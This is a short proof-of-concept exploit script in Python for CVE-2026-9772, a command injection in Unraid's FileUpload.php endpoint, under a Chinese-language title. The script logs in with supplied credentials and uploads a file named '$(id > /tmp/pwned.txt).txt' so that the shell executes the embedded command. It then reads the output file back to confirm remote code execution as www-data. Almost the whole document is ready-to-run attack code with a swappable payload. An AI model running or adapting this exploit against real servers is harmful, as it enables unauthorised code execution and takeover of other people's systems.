CVE-2026-9772 Unraid Web服务器文件上传命令注入远程代码执行漏洞

# CVE-2026-9772 - Unraid FileUpload Command Injection PoC # Vulnerability: Command Injection via FileUpload.php # Authenticated RCE as www-data user import requests import sys TARGET_URL = "https://target-unraid-server" USERNAME = "your_username" PASSWORD = "your_password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Craft malicious filename with command injection payload # The payload injects shell commands via the filename parameter # which is passed unsanitized to a system call in FileUpload.php malicious_filename = "$(id > /tmp/pwned.txt).txt" # Step 3: Upload file with malicious filename files = { "file": (malicious_filename, b"dummy_content", "application/octet-stream") } upload_response = session.post( f"{TARGET_URL}/FileUpload.php", files=files ) print(f"[+] Upload response status: {upload_response.status_code}") # Step 4: Verify command execution verify_response = session.get(f"{TARGET_URL}/tmp/pwned.txt") if "uid=" in verify_response.text: print("[+] Command injection confirmed! RCE achieved as www-data") print(f"[+] Output: {verify_response.text}") else: print("[-] Could not verify command execution")